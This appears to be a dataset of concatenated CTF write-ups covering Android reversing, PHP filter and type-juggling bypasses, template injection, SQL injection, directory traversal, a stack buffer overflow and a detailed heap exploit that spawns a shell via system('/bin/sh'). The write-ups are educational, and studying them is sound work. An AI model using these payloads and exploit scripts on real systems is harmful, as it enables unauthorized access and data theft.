text_chunk
stringlengths
151
703k
# Reverse Me 1**Category: Android Reverse Engineering** Here's the app when you run it: A simple password check. I decompiled the APK and took a look at the source. `strings.xml` is a likely place to look for hidden information. Looking there, I found they put a bait flag: `<string name="flag">ENSIBS{non ce n\'est pas le flag :P}</string>` We need to instead look into the Java source. This is the code that runs when you click the button: ```java// MainActivity.javapublic void onClick(View v) { if (NotFlag.getFlag(MainActivity.this.input.getText().toString())) { Toast.makeText(MainActivity.this, "Félicitaions, vous pouvez valider avec ce flag", 1).show(); } else { Toast.makeText(MainActivity.this, "Dommage, ce n'est pas le flag", 1).show(); }}``` Our input is being sent into the `NotFlag.getFlag` function. If that returns true, we get the success message. Let's take a look at that function: ```java // NotFlag.java public class NotFlag { public static boolean getFlag(String in) { if (in.equals("ENSIBS{" + "boussole" + "_" + "is_good_for_the" + "_" + "interiut" + "_" + "ctf" + "}")) { return true; } return false; }} ``` And we can see the flag: `ENSIBS{boussole_is_good_for_the_interiut_ctf}`.
# "The W":Web:15ptsThose Wutang Boys are at it again, hoot'n and holler'n and waking up the kids. I tried to put a stop to them but they are so damn clever. Just the other day I heard them yell "Wutang4Life" and they picked up and ran off with my flag... I tell ya, kids these days have it too easy... In Scope: http://web01.ctf313.com/ Hack the web app only. You have the source code, no need to brute force or spam anything. Server and Infrastructure are out of scope and will result in an automatic ban and public shaming for being a ?. # SolutionURLにアクセスするとphpソースが表示される。 Web Challenge: "The W" [site.png](site/site.png) オレオレWAFを突破すれば良いようだ。 WAFを詳しく見てやる。 ```phpfunction wutang_waf($str){ for($i=0; $i<=strlen($str)-1; $i++) { if ((ord($str[$i])<32) or (ord($str[$i])>126)) { header("HTTP/1.1 416 Range Not Satisfiable"); exit; } } $blklst = ['[A-VX-Za-z]',' ','\t','\r','\n','\'','""','`','\[','\]','\$','\\','\^','~']; foreach ($blklst as $blkitem) { if (preg_match('/' . $blkitem . '/m', $str)) { header("HTTP/1.1 403 Forbidden"); exit; } }}````0123456789W!"#%&()*+,-./:;<=>?@_{|}`が通るようだ。 `""`はブロックされるが、`"W"`のように文字を挟めばバイパスできる。 ある程度の文字と`&`と`|`と`.`があるので、phpfuckの要領で任意の文字を構成できそうだ。 以下を見ると、シェルをとるのではなく`Wutang4Life`をechoすれば良いようだ(バッファを見ている)。 ```phpif(!isset($_GET['yell'])) { show_source(__FILE__);} else { $str = $_GET['yell']; wutang_waf($str); ob_start(); $res = eval("echo " . $str . ";"); $out = ob_get_contents(); ob_end_clean(); if ($out === "Wutang4Life") { echo $flag; } else { echo htmlspecialchars($out, ENT_QUOTES); }}````Wutang4Life`になる文字を組み立てればよい。 以下のoreorephpf.pyを用いて必要な文字を抽出する。 ```python:oreorephpf.pyimport sys chars = '0123456789W!"#%&()*+,-./:;<=>?@_{|}'new_chars = "" if len(sys.argv) != 1: chars += sys.argv[1] for i in chars: for j in chars: #And c = chr(ord(i) & ord(j)) if (not c in chars) and (not c in new_chars) and (c in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"): print("(\"{}\"%26\"{}\"):{}".format(i, j, c)) new_chars += c #Or c = chr(ord(i) | ord(j)) if (not c in chars) and (not c in new_chars) and (c in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"): print("(\"{}\"%7C\"{}\"):{}".format(i, j, c)) new_chars += c print(new_chars)```実行する。 ```bash$ python oreorephpf.py | grep :u("5"%7C"@"):u$ python oreorephpf.py | grep :t("4"%7C"@"):t$ python oreorephpf.py | grep :a("!"%7C"@"):a$ python oreorephpf.py | grep :n("."%7C"@"):n$ python oreorephpf.py | grep :g$ python oreorephpf.py | grep :L$ python oreorephpf.py | grep :i(")"%7C"@"):i$ python oreorephpf.py | grep :f("&"%7C"@"):f$ python oreorephpf.py | grep :e("%"%7C"@"):e$ python oreorephpf.py | grep -v :wpqrstuvxySTUabcefhijklmnoz$ python oreorephpf.py wpqrstuvxySTUabcefhijklmnoz | grep :g("!"%7C"f"):g$ python oreorephpf.py wpqrstuvxySTUabcefhijklmnoz | grep :L("_"%26"l"):L$ python oreorephpf.py wpqrstuvxySTUabcefhijklmnoz | grep :l$ python oreorephpf.py | grep :l(","%7C"@"):l```よってWAFを突破する文字列は以下のようになる。 `&`を`%26`に置き換える必要がある。 `("W").("5"%7C"@").("4"%7C"@").("!"%7C"@").("."%7C"@").("!"%7C("%26"%7C"@")).("4").("_"%26(","%7C"@")).(")"%7C"@").("%26"%7C"@").("%"%7C"@")` リクエストを投げる。 ```bash$ wget -q -O - 'http://web01.ctf313.com/?yell=("W").("5"%7C"@").("4"%7C"@").("!"%7C"@").("."%7C"@").("!"%7C("%26"%7C"@")).("4").("_"%26(","%7C"@")).(")"%7C"@").("%26"%7C"@").("%"%7C"@")'flag{Wu7an9-83-Wi23-wI7h-73H-8I72}```flagが得られた。 ## flag{Wu7an9-83-Wi23-wI7h-73H-8I72}
# BANGERS!:Web:15ptsBanger. A CTF challenge that makes you feel the need to headbang to the beat of your keyboard. CTF313's Web03 challenge is full of bangers. Check it out if your tryin to rage! In Scope: http://web03.ctf313.com/ Hack the web app only. You have the source code, no need to brute force or spam anything. Server and Infrastructure are out of scope and will result in an automatic ban and public shaming for being a ?. # SolutionURLにアクセスするとphpソースが表示される。 段階的にロックを突破するようだ。 Web03 Challenge "Bangers" [site.png](site/site.png) 最初は以下の部分に注目する。 ```php$taws = $_GET['taws'];if($taws != md5($taws)){ die("Your Dead");} echo substr($flag,0,15) . "\n";```入力とmd5ハッシュ値を比較しているが厳密等価演算子ではない。 つまり0eで始まり、残りが数字となる値は0と見なされる。 0eから始まる入力で、ハッシュ値が0eから始まるものは、入力`0e215962017`、ハッシュ値`0e291242476940776845150308577824`が知られている。 以下のようにクエリを設定した。 ```bash$ wget -q -O - "http://web03.ctf313.com/?taws=0e215962017"flag{H4xor1N9-PDeath has found you```次に以下の部分に注目する。 ```php$tabernacle = $_GET['tabernacle']; $quantile = $_GET['quantile']; if(!($tabernacle) || !($quantile)){ die("Death has found you");} if ($tabernacle === $quantile) { die("There are many ways to die. You seem to find them easily");} if (hash('md5', $saltysalt . $tabernacle) == hash('md5', $saltysalt . $quantile)) { echo substr($flag, 0, 30) . "\n";} else { die("Patched this booboo srynotsry");}````$saltysalt`がつけられた二つの入力のmd5ハッシュ値を比較している。 二つの入力は異なる必要があるようだ。 配列を渡すことで`$saltysalt . "Array"`になる。 これにより厳密等価演算子を突破し、md5ハッシュ値を一致させることができる。 以下のようにクエリを設定した。 ```bash$ wget -q -O - "http://web03.ctf313.com/?taws=0e215962017&tabernacle[]=a&quantile[]=b"flag{H4xor1N9-Pflag{H4xor1N9-PhP-15-4LL-4BoU7Bang, you dead```最後に以下の部分に注目する。 ```phpclass Wutang { var $wut; var $ang;} $gat = $_GET['gat']; if (!($gat)) { die("Bang, you dead");} $banger = unserialize($gat); if ($banger) { $banger->ang=$flag; if ($banger->ang === $banger->wut) { echo $banger->ang ."\n"; } else { die("Death Brought BANGERS"); } } else { die("Ba-ba-ba BANGERRR. Dead.");}```unserializeしたオブジェクトの`$ang`にflagを代入している。 それが`$wut`と一致してほしいので、参照させればよい。 よって`O:6:"Wutang":2:{s:3:"ang";N;s:3:"wut";R:2;}`となる。 以下のようにクエリを設定した。 ```bash$ wget -q -O - 'http://web03.ctf313.com/?taws=0e215962017&tabernacle[]=a&quantile[]=b&gat=O:6:"Wutang":2:{s:3:"ang";N;s:3:"wut";R:2;}'flag{H4xor1N9-Pflag{H4xor1N9-PhP-15-4LL-4BoU7flag{H4xor1N9-PhP-15-4LL-4BoU7-coMP4R15ON5-4Nd-lUlz}```flagが得られた。 ## flag{H4xor1N9-PhP-15-4LL-4BoU7-coMP4R15ON5-4Nd-lUlz}
# Reverse Me 2**Category: Android Reverse Engineering** The application just shows a logo and a button to "UPDATE FLAGS". After clicking the button, some passwords pop up. The first thing to do is to decompile the APK and look at the source code. Clicking the button runs this logic:```javaprotected DatabaseReference ref = this.db.getReference("flags");...public void onClick(View v) { MainActivity.this.ref.addValueEventListener(new ValueEventListener() { public void onDataChange(DataSnapshot dataSnapshot) { String data = ((Map) dataSnapshot.getValue()).toString(); MainActivity.this.flags.setText(data.substring(1, data.length() - 1).replace(", ", "\n").replace("=", " : ")); } public void onCancelled(DatabaseError databaseError) { Log.w("CTF", "Failed to read DB", databaseError.toException()); } }); Toast.makeText(MainActivity.this, "Updating Firebase database...", 0).show();}``` The data is being loaded from the `flags` endpoint of an external Firebase source. I took a look at `strings.xml` to see the connection information. ```xml<string name="firebase_database_url">https://reverse-me-2.firebaseio.com</string>``` I thought I'd check if the database was secured properly. I queried the rest endpoint at `https://reverse-me-2.firebaseio.com/.json` to see if I could access all the records unauthenticated. It worked! We see the `flags` data that appear in the app, and another property, `secret`, which has our flag:```json{ "flags": { "HackTheBox-OpenAdmin-root": "06afcd5d4e323ab09f", "HackTheBox-OpenAdmin-user": "badc67e540ceb82ead264", "Root-Me-App-Script": "iuezçz_rhqçHD_oqhE_2Gr", "Root-Me-App-Systeme": "sjefh_z87Y2Q87E287Oerg", "Root-Me-Cracking": "uqb_QZ dg_GQ2_e gQ28e", "Root-Me-Prog": "qjzg-èqTDQ87D_729E8H298E", "Root-Me-Web": "iusebf_zujfz" }, "secret": { "InterIUT-Reverse": "H2G2{f1r3basE_iS_v3ry_s3cure}" }}```
# Ninja Name Generator Straightforward app, enter a name, and your ninja name gets revealed: ![app](images/app.png) When you are able to see your input being reflected back onto the page like this, it is a good idea to check for template injection. I entered `{{ 5*5 }}` as my name. The server responded with `25 KATANA` as the generated ninja name, proving the vulnerability. The API responses also include a header that reveal the backend server is Python:```Server: Werkzeug/1.0.1 Python/3.9.0``` Next, I found a [template injection cheat sheet](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection), and looked for things that would work for Python. The payload `{{ config.items() }}` can be used to find the server configuration, granting this tongue twister of a ninja name: ```pythondict_items([('DEBUG', False), ('TESTING', False), ('PROPAGATE_EXCEPTIONS', None), ('PRESERVE_CONTEXT_ON_EXCEPTION', None), ('SECRET_KEY', None), ('PERMANENT_SESSION_LIFETIME', datetime.timedelta(days=31)), ('USE_X_SENDFILE', False), ('LOGGER_NAME', '__main__'), ('SERVER_NAME', None), ('APPLICATION_ROOT', None), ('SESSION_COOKIE_NAME', 'session'), ('SESSION_COOKIE_DOMAIN', None), ('SESSION_COOKIE_PATH', None), ('SESSION_COOKIE_HTTPONLY', True), ('SESSION_COOKIE_SECURE', False), ('MAX_CONTENT_LENGTH', None), ('SEND_FILE_MAX_AGE_DEFAULT', 43200), ('TRAP_BAD_REQUEST_ERRORS', False), ('TRAP_HTTP_EXCEPTIONS', False), ('PREFERRED_URL_SCHEME', 'http'), ('JSON_AS_ASCII', True), ('JSON_SORT_KEYS', True), ('JSONIFY_PRETTYPRINT_REGULAR', True), ('SUPER_SECRET_ROUTE', '/_5uPer_s3cret_')]) Shikoro``` That last tuple, `('SUPER_SECRET_ROUTE', '/_5uPer_s3cret_')`, looks interesting. Navigating to `/_5uPer_s3cret_` reveals our flag: `H2G2{j1nJ4_1s_s3cure}`.
# Greeter ## Task File: greeter, greeter.c ## Solution ```c#include <stdio.h>#include <stdlib.h> void win() { puts("congrats! here's your flag:"); char flagbuf[64]; FILE* f = fopen("./flag.txt", "r"); if (f == NULL) { puts("flag file not found!"); exit(1); } fgets(flagbuf, 64, f); fputs(flagbuf, stdout); fclose(f);} int main() { /* disable stream buffering */ setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); char name[64]; puts("What's your name?"); gets(name); printf("Why hello there %s!\n", name); return 0;}``` We have a buffer of 64 bytes. So we need to overwrite 64 + 8 (the rbp) to reach the rsp, then we can add the address of the win function to call it. The actual offset (8) can be determined by using a pattern long enough to definitely reach it. You will get a SIGSEGV with the chars that overflowed the rsp and can then find the offset. The address of the win function can be found using `info functions win`. There are lots of easy to find and understand resources about basic buffer overflows. ```gdb-peda$ checksecCANARY : disabledFORTIFY : disabledNX : ENABLEDPIE : disabledRELRO : FULLgdb-peda$ r < <(python2 -c 'from pwn import p64;print("A"*72 + p64(0x401220))')Starting program: greeter < <(python2 -c 'from pwn import p64;print("A"*72 + p64(0x401220))')What's your name?Why hello there AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA @!congrats! here's your flag:flag file not found!``` ```bash$ python2 -c 'from pwn import p64;print("A"*72 + p64(0x401220))' | nc challenges.ctfd.io 30249What's your name?Why hello there AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA @!congrats! here's your flag:nactf{n4v4r_us3_g3ts_5vlrDKJufaUOd8Ur}```
# MonSQL Injection 1**Category: Web** This challenge page shows a wall of text, and a text input box: This box allows us to enter "MonSQL" commands. There is a hint in the last sentence, "Contenant au moins la table utilisateurs", which means we have at the very least a users table named "utilisateurs". The challenge included a cheat sheet explaining how to use MonSQL: ![cheatsheet](images/cheatsheet.svg) Let's start by doing a simple select statement. In normal SQL we would write `SELECT * FROM utilisateurs;`. According to the cheat sheet: |MySQL |MonSQL ||---|---|| SELECT | SÉLECTIONNE || * | TOUT || FROM | ÀPARTIRDE | Putting it together, we get: `SÉLECTIONNE+TOUT+ÀPARTIRDE+utilisateurs;`. Sending this query to the API returns the users. Nothing too interesting here though. We should try and figure out what other tables are available. In MySQL, the command we'd want is `SHOW TABLES;`. Again, we consult the cheat sheet to put together a query _en français_. |MySQL |MonSQL ||---|---|| SHOW | MONTREMOI || TABLES | LESTABLES | Sending `MONTREMOI LESTABLES;` gives us the following:```json{"r\u00e9sultat":[["reponses"],["utilisateurs"]],"statut":"ok"}``` Let's take a look at what `reponses` is all about. `SÉLECTIONNE+TOUT+ÀPARTIRDE+reponses;`: ```json{"r\u00e9sultat":[[1,"H2G2{j_3sper3_qu3_v0us_4v3z_tr0uv3_ca_f4cil3_?}"]],"statut":"ok"}``` Flag captured: `H2G2{j_3sper3_qu3_v0us_4v3z_tr0uv3_ca_f4cil3_?}`
# Ador:Web Exploitation:50ptsAda was born on 10 December 1815 not 12, identification change makes a difference Link: [http://104.198.67.251/Ador](http://104.198.67.251/Ador) # SolutionURLにアクセスすると謎のサイトが出てくる。 3 Column Layout [site.png](site/site.png) リロードごとに文章が変化しているようだ。 "Welcome user, secrets only for admin"と言われている。 ソースの以下に注目する。 ```html~~~<body> <header id="header">Header...</header>~~~```nameを指定しろということだろうか。 `http://104.198.67.251/Ador/?name=admin`にアクセスするとflagが表示された。 flag [flag.png](site/flag.png) Header... ## shaktictf{f1r5t_c0mpu73r_pr0gr4mm3r}
# Russian Doll:Web:15ptsThis doll is tricky, can you pass all the stages and get the flag? I think you can! In Scope: http://web02.ctf313.com/ Hack the web app only. You have the source code, no need to brute force or spam anything. Server and Infrastructure are out of scope and will result in an automatic ban and public shaming for being a ?. # SolutionURLにアクセスするとphpソースが表示される。 [BANGERS!](../BANGERS!)と同じく、段階的にロックを突破するようだ。 Web02 Challenge "Russian Doll" [site.png](site/site.png) 最初は以下の部分に注目する。 ```php// Stage 1$text = $_GET['text'];if(@file_get_contents($text)!=="Привет хакер"){ die("You must speak my language a different way!");} echo "Stage 1 is complete! You unlocked the key: " . $secretkey . "\n";````file_get_contents`を呼んでいるので、データURIスキーム`data://text/plain,Привет хакер`を渡してやればよい。 以下のようにクエリを設定した。 ```bash$ wget -q -O - "http://web02.ctf313.com/?text=data://text/plain,Привет хакер"Stage 1 is complete! You unlocked the key: IThinkICanIThinkICanIThinkICanхаха, это строго не сработает```次に以下の部分に注目する。 ```php// Stage 2$key1 = $_GET['key1'];$keyId = 1337; if (intval($key1) !== $keyId || $key1 === $keyId) { die("хаха, это строго не сработает");} echo "Stage 2 is complete! Keep Going!\n";```1337を入力したらよい。 以下のようにクエリを設定した。 ```bash$ wget -q -O - "http://web02.ctf313.com/?text=data://text/plain,Привет хакер&key1=1337"Stage 1 is complete! You unlocked the key: IThinkICanIThinkICanIThinkICanStage 2 is complete! Keep Going!Ваш токен мертв, как и эта попытка```次に以下の部分に注目する。 旧Stage 3は作問ミスらしい(数時間溶けた)。 ```php// Stage 3$hash = $_GET['hash'];$token = intval($_GET['token']); if(substr(hash("sha256", $keyId + $token . $secretkey), 5, 25) == $hash) { $keyId = $_GET['keyId'];} else { die("Ваш токен мертв, как и эта попытка");} echo "Stage 3 is complete! You defeated death, for now...\n";```入力に`$secretkey`を付けたsha256ハッシュ値の、一部を当てればよい。 `$secretkey`はStage 1で`IThinkICanIThinkICanIThinkICan`、`$keyId`はStage 2で`1337`と分かっている。 以下のようにクエリを設定した。 ```bash$ php -aphp > echo substr(hash("sha256", "1337" + "0" . "IThinkICanIThinkICanIThinkICan"), 5, 25);bb6bcf1419dcdde482ff13f0fphp > quit$ wget -q -O - "http://web02.ctf313.com/?text=data://text/plain,Привет хакер&key1=1337&token=0&hash=bb6bcf1419dcdde482ff13f0f"Stage 1 is complete! You unlocked the key: IThinkICanIThinkICanIThinkICanStage 2 is complete! Keep Going!Stage 3 is complete! You defeated death, for now...ты не можешь сдаться сейчас!```最後に以下の部分に注目する。 ```php// Final Stage$key2 = 69;if(substr($keyId, $key2) !== sha1($keyId)){ die("ты не можешь сдаться сейчас!");} // Final Stageecho "Final stage is complete Where da flag homie? ?\n";~~~header("Content-Type: " . $flag);```配列を渡すと`substr`、`sha1`共にNULLが返ってくるため比較部分をバイパスできる。 Content-Typeに隠されているようなので表示するオプションをつける。 以下のようにクエリを設定した。 ```bash$ wget -q -O - "http://web02.ctf313.com/?text=data://text/plain,Привет хакер&key1=1337&token=0&hash=bb6bcf1419dcdde482ff13f0f&keyId[]=a" --server-response HTTP/1.1 200 OK Date: Fri, 04 Dec 2020 16:08:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 209 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: flag{17H1nk1c4N17h1nK1c4N}Stage 1 is complete! You unlocked the key: IThinkICanIThinkICanIThinkICanStage 2 is complete! Keep Going!Stage 3 is complete! You defeated death, for now...Final stage is complete Where da flag homie? ?```flagが得られた。 ## flag{17H1nk1c4N17h1nK1c4N}
# Wooooww:Misc:100ptsSome terrorists implanted a spy microphone in our office and tried sending some important project details to their country. The ENIAC programmers caught that and we need your help to extract the secret message. Flag format : shaktictf{STRING} [findit.mp3](findit.mp3) # Solutionfindit.mp3が配られる。 波形などには何も隠されていないようだ。 聞いてみると様々な種類の音が録音されている。 途中でよく聞くモールス信号が流れてくるので、カットして[Morse Code Adaptive Audio Decoder](https://morsecode.world/international/decoder/audio-decoder-adaptive.html)でデコードしてみる。 ![m.png](images/m.png) `LOLM0RS3I5FUNN`とデコードされた。 指定された通りの形式に整形するとflagとなった。 ## shaktictf{LOLM0RS3I5FUNN}
## Overview Featuring custom heap management, this Pwn challenge lets us embark on a quest to hack into a CLI theme park designer to free the alligator Lil Chompys from the clutches of BSides Orlando.We are given the binary together with its c source code, containing the application as well as a custom heap implementation. ## A theme park plannerFirst off, the program presents us with a password check. Looking at the source code reveals... ```cint main(void) { printf("Official BSides Orlando Theme Park Designer Terminal\n"); printf("Enter password:\n"); [...] if(strcmp(password, "lilChompy2020!") != 0) { exit(-1); }``` Well, this was uneventful. We now know the password, `lilChompy2020!`. After entering the correct password, the program allows us to save up to 20 attractions, each having a type (integer between 0 and 8) and a name with up to 50 characters. Attractions and names are stored on the heap: ```cAttraction* attractions[20]; [...] typedef struct Attraction { FunKind /*= int*/ kind; char* name;} Attraction; [...] void addAttraction(void) { [...] Attraction* fun = cg_malloc(sizeof(*fun)); [...] char* funName = cg_malloc(size); [...] fun->name = funName; attractions[funIndex] = fun;}``` While looking for potential vulnerabilities, one function immediately stands out: ```cvoid renameAttraction() { printf("Enter the lot number of the amusement to rename:\n"); unsigned lot = pickLot(); Attraction* fun = attractions[lot]; [...] cg_free(fun->name); printf("Enter a new name for this attraction:\n"); unsigned size; char* newName = getLine(&size); if(*newName == '\0') { printf("Attraction name must not be empty!\n"); return; } char* funName = cg_malloc(size); memcpy(funName, newName, size); fun->name = funName;}``` The name is freed immediately. If we then enter an empty string as the new name, the function returns and that reference is kept. ## To The Heap Fortunately, the file `heap_internal.h` contains some high-level explanations of how the heap works. Key points for now: when a new block is requested, the system tries to find the smallest free space to accommodate it. At the start, memory regions are allocated consecutively. When an attraction is created, the data on the heap looks as follows: ![heap with single attraction](https://w0y.at/images/sunshinectf2020/lil_chompys/heap1.png) Data is managed in chunks of 16 bytes each. Each allocation included a 16 byte block for metadata, followed by the actual contents.When we try to rename an attraction with an empty string, the memory management forgets about the name block. ![heap after free](https://w0y.at/images/sunshinectf2020/lil_chompys/heap2.png){ width=60% } The heap management prevents double-frees, but we can create a new attraction: ![heap with interlaced attractions](https://w0y.at/images/sunshinectf2020/lil_chompys/heap3.png) Now, we can modify the name of the first attraction. If the new name does not fill more blocks than the old one, doing so will free the second block, immediately re-allocate it and copy the new name over. Thankfully, null bytes are not appended.This basically gives us complete control over the `Attraction` struct of the second attraction. ## Leaking Things How can this be used to leak useful information? Overwriting the name pointer does not really make sense: fully overwriting it is not possible useful of address randomization, and partially overwriting it does not allow us to break out of the heap.Thankfully, overwriting the `kind` can trigger another vulnerability: ```cstatic const char* funToString[] = { "empty lot", "roller coaster", "water ride", "carnival ride", "skill game", "arcade game", "live show", "haunted house", "alligator pit",}; void viewPark(void) { [...] char* name = attractions[i]->name; char* kindString = funToString[attractions[i]->kind]; printf("Lot #%u: %s (%s)\n", i + 1, name, kindString); [...]}``` This function does not check any bounds on `kind`! This allows us to fill the `kindString` address with pretty much any other quadword from the application's address space. Analyzing a memory dump from gdb reveals that there exists a pointer pointing at itself at an offset of `-11 * 8` bytes from `funToString`.Putting this together gives us a way to leak the program's address space: ```python#!/usr/bin/env python3from pwn import * p = remote("chal.2020.sunshinectf.org", 20003) p.sendline('lilChompy2020!') # password p.sendline(b'2') # create attraction (=> #1) ...p.sendline(b'3') # ... of type 3p.sendline(b'AAAA') # ... with name "AAAA" p.sendline(b'4') # rename ...p.sendline(b'1') # ... attraction #1p.sendline(b'') # ... to "" p.sendline(b'2') # create attraction (=> #2) ...p.sendline(b'3') # ... of type 3p.sendline(b'AAAA') # ... with name "AAAA" # calculate offset_index_to_addgdb_self_pointer = 0x555555558008gdb_address_space = 0x555555554000gdb_fun_to_string = 0x555555558060offset_index_to_add = (gdb_self_pointer - gdb_fun_to_string) // 8# => offset_index_to_add == -11 p.sendline(b'4') # rename ...p.sendline(b'1') # ... attraction #1p.sendline(p32(offset_index_to_add, sign=True)) # ... and overwrite the kind of #2 p.sendline(b'1') # print parkp.recvuntil(b'Lot #2: AAAA (') line = p.recvline()[:-2] # delete \n and closing bracewhile len(line) < 8: line = line + b'\0' address = u64(line) program_address_space = address - (gdb_self_pointer - gdb_address_space) print(hex(address))print(hex(program_address_space))``` Leaking the address of libc can now be done by overwriting `Attraction::name` with a GOT address: ```python# continuing gdb_puts_got = 0x555555557f88leaked_puts_got = program_address_space + (gdb_puts_got - gdb_address_space) p.sendline(b'4') # rename ...p.sendline(b'1') # ... attraction #1p.sendline( p32(0x1) + # ... overwrite kind of #2 with 1 p32(0x0) + # ... padding p64(leaked_puts_got) # ... overwrite the name pointer of #2) p.sendline(b'1') # print park p.recvuntil(b'Lot #2: ') line = p.recvline().split(b' (roller coaster)')[0]while len(line) < 8: line = line + b'\0' address = u64(line) libc = ELF('libc-2.23.so')libc_address_space = address - libc.symbols['puts'] print(hex(address))print(hex(libc_address_space))``` ## Pwning Things It stands to reason that we can somehow abuse the bugs to write to arbitrary memory. Thankfully the program already provides a nice sink for this: ```cstatic OnSubmitFunc* submitFuncs[] = { &onSubmitRollerCoaster, &onSubmitWaterRide, &onSubmitCarnivalRide, &onSubmitSkillGame, &onSubmitArcadeGame, &onSubmitLiveShow, &onSubmitHauntedHouse, &onSubmitAlligatorPit,}; [...] void submitPark(void) { printf("The theme park design has been submitted! Let's take a look at the expected park experience.\n"); unsigned i; for(i = 0; i < ARRAYCOUNT(attractions); i++) { if(attractions[i] != NULL) { FunKind kind = attractions[i]->kind; if(FUN_MIN <= kind && kind <= FUN_MAX) { submitFuncs[kind - FUN_MIN](attractions[i]->name, i + 1); } } } printf("Let's hope this one's a winner! We'll begin construction soon!\n"); exit(0);}``` If we can manipulate the function pointers in `submitFuncs`, calling `submitPark` will execute an arbitrary function via `submitFuncs[kind - FUN_MIN](attractions[i]->name, i + 1);`, and even use the user-provided name as an argument. One trick to do this: manipulate the `name` pointer of an attraction (as we have done before), and then rename that attraction to free the pointer. This will call `cg_free(...)` with arbitrary input. To build the actual exploit, we need to consider how the heap management works internally. There are actually two data structures: the blocks of meta-information store the size of the previous and current block, which is used to form a linked list. Furthermore, the blocks of metadata contain two pointers each, used to make up the *free tree*, a binary tree for free blocks sorted by the size. More concretely, each 16 byte metadata block includes: - A `44` bit encoded pointer to the left child in the *free tree* (if the block is currently free)- `1` unused bit- `19` bits containing the size of the previous block, used for the *linked list*- A `44` bit encoded pointer to the right child in the *free tree* (if the block is currently free)- `1` bit indicating whether the block is in use- `19` bits ocntaining the size of the next block, used for the *linked list* Freeing a block adds it to the free tree and makes it available for future allocations. This means we could write to `submitFuncs` by creating a fake metadata block before it, free that, and let the heap management allocate memory from there. The memory around `submitFuncs` looks like this: ```0x4020: char[50] main::password <-- password from the beginning0x4060: char*[9] funToString <-- should be preserved somewhat0x40c0: void*[8] submitFuncs <-- target to over0x4120: char[50] getLine::line <-- buffer for user input``` And here we are, back at the pesky password from the start. Replace this: ```pythonp.sendline('lilChompy2020!') # password``` ... by ... ```python# encodes an 8 byte block of metadata, setting:# - the 44 bit pointer equal to 0# - the 1 bit equal to in_use_bit# - the 19 size bits (measured in 16 byte blocks) to sizedef encode_8byte_metadata(in_use_bit, size): value = 0x7ffff if in_use_bit: value += 0x80000 value -= size return value p.sendline( b'lilChompy2020!\0\0' + # password p64(encode_8byte_metadata(False, 0x7fffe)) + # first 8 bytes p64(encode_8byte_metadata(True, 14)) # last 8 bytes)``` We need to be careful with the metadata, since `cg_free()` will also try to consolidate free blocks with neighbors from the linked list.Looking at the implementation, one can see that this process can be stopped by setting the size to an absurdl number (e.g. `0x7fffe`), which is done here for the size of the previous block. Unfortunately, this does not work for the "next" block, since such a high value here would disrupt the free tree and cause a segfault as soon as memory is allocated.One way to get past this is creating a successor metadata block and storing it in the `getLine::line` buffer. ```python# explained laterfor i in range(5): p.sendline(b'2') # create attraction (=> #1) ... p.sendline(b'3') # ... of type 3 p.sendline(b'dummy') # ... with name "dummy" gdb_password = 0x555555558020leaked_password = gdb_password - gdb_address_space + program_address_spaceleaked_password_meta = leaked_password + 0x20 # the 16 byte block after the metadata in the passwor p.sendline(b'4') # rename ...p.sendline(b'1') # ... attraction #1p.sendline( # ... and set metadata for #2 to: p32(3) + # attraction type 3 p32(0) + # padding p64(leaked_password_meta) # pointer to just after the fake metadata block)``` The new name for attraction 1 serves two purposes: the `p64` contains a reference to the fake block to be freed. And, by a fortunate coincidence, when the name is interpreted as a metadata block, that address sets the used bit to 1 (at least 50% of the time). The fake metadata block actually points at this new name as a successor block, and the used bit ensures that the consolidation procedure stops here. Now we need to demolish attraction 2: ```pythonp.sendline(b'3') # demolish ...p.sendline(b'2') # ... attraction 2``` This frees our fake block and lets the heap management allocate memory from the program's address space. Now we need to create new attractions to add padding data and overwrite the correct function pointer with one to `system()`. This was done by trial and error, and the dummy attractions from before enable a useful trick: by freeing only the names from those structures, we can create some free space for the the `Attraction` structs. This reduces the amount of metadata written to the program's address space and makes it easier to preserve useful data and prevent segfaults. ```pythonp.sendline(b'4') # rename ...p.sendline(b'4') # ... attraction 4p.sendline(b'') p.sendline(b'2') # create attractionp.sendline(b'3')p.sendline(b'B'*24) p.sendline(b'4') # rename ...p.sendline(b'5') # ... attraction 4p.sendline(b'') p.sendline(b'2') # create attractionp.sendline(b'3')p.sendline(b'B'*8 + p64(leaked_password) + b'B'*24) # let funToString[3] point to a valid address p.sendline(b'2') # create attractionp.sendline(b'3')# let submitFuncs[2] (used for attractions of type 3) point to libc system()p.sendline(b'B'*32 + p64(libc_address_space + libc.symbols['system']))``` And now, just rename the first attraction to `/bin/sh`, and submit the park. This will execute `system("/bin/sh")`: ```pythonp.sendline(b'4') # rename ...p.sendline(b'1') # ... attraction 1p.sendline(b'/bin/sh\0') p.sendline(b'5') # submit park sleep(1)p.sendline(b'cat flag.txt')p.interactive()``` For the [full exploit, see here](https://w0y.at/images/sunshinectf2020/lil_chompys/lil_chompys_exploit_full.py).
# Doors:Web Exploitation:100ptsAda Loves to travel to places, London-Paris-Spain and discover more Link: [http://35.225.9.113/Doors/](http://35.225.9.113/Doors/) # SolutionURLにアクセスすると複数のphpページへのエントランスが表示される。 Explore Dora!! [site1.png](site/site1.png) ソースの以下の部分に注目する。 ```html~~~ [<em>file1.php</em>] - [<em>file2.php</em>] - [<em>file3.php</em>] </div></h3> </div> <div class="clear"> </div>~~~````?page`なるコメントがなされている。 index.phpを指定した`http://35.225.9.113/Doors/?page=index.php`にアクセスしてみる。 ?page=index.php [site5.png](site/site5.png) ファイルが読み込めている。 ディレクトリトラバーサルに狙いをつけて、`/etc/passwd`を取得してみる。 `http://35.225.9.113/Doors/?page=/etc/passwd`にアクセスするとflagが表示された。 flag [flag.png](site/flag.png) ## shaktictf{c4lculu5_0f_7h3_n3rv0u5_5y5t3m}
